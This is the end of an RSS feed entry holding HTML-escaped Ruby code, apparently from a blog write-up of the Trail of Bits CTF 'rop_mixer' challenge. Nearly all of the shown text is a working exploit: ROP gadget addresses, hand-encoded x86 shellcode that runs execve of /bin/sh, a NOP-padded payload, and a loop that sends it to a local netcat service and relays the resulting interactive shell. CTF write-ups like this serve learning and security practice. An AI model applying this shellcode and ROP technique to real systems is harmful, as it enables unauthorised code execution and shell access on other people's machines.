    &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;24&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0xff&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;chr&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;vg&quot;&gt;$gadget_call_eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_to_str&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x080485df&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x080485df               ffd0  call eax&lt;/span&gt;

&lt;span class=&quot;vg&quot;&gt;$gadget_add_esp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr_to_str&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x0804890c&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x08048909             83c41c  add esp, 0x1c&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890c                 5b  pop ebx&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890d                 5e  pop esi&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890e                 5f  pop edi&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x0804890f                 5d  pop ebp&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#0x08048910                 c3  ret&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;#incompatible character encodings: ASCII-8BIT and UTF-8(Encoding::CompatibilityError)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;force_encoding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;Encoding&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;no&quot;&gt;ASCII_8BIT&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;vg&quot;&gt;$shell_mov_edi_0xbf10890408&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xbf\x10\x89\x04\x08&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_call_edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xff\xd7&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_mov_ebx_esp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x8b\x9c\x24\xfc\xff\xff\xff&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_jmp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xeb\x02&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_jmp_0xa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xeb\x08&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_add_esp_0x100&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x81\xc4\x00\x01\x00\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_bin_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/bin/sh&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_add_ebx_9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x83\xc3\x09&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_mov_eax_0xb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xb8\x0b\x00\x00\x00&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_xor_ecx_ecx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc9&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_xor_edx_edx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xd2&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;vg&quot;&gt;$shell_int_0x80&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;enc&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xcd\x80&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$gadget_add_esp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$shell_nop&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_jmp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$gadget_call_eax&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_add_esp_0x100&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_edi_0xbf10890408&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_call_edi&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_ebx_esp_4&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_jmp_0xa&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_bin_sh&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_add_ebx_9&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_mov_eax_0xb&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_xor_ecx_ecx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_xor_edx_edx&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;
  &lt;span class=&quot;vg&quot;&gt;$shell_int_0x80&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;xspawn&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PTY&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;open&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;write&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;pipe&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;spawn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cmd&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:in&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:out&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;read&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;slave&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;close&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;master&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;#m_sp, w_sp, pid_sp = xspawn &quot;./ctf/exploits/binary2_workshop/rop_mixer/rop_mixer&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;pid_sp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;xspawn&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;nc 127.0.0.1 12349&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;puts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;e&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;kp&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt;
  &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;IO&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;select&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;nb&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;m_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read_nonblock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;rs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;include?&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;w_sp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;vg&quot;&gt;$stdin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;read_nonblock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

</description>
        <pubDate>Fri, 05 Jan 2018 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2018/01/05/trail-of-bits-ctf-5-rop-mixer.html</link>
        <guid isPermaLink="true">http://klamp.works/2018/01/05/trail-of-bits-ctf-5-rop-mixer.html</guid>
        
        
      </item>
    
  </channel>
</rss>
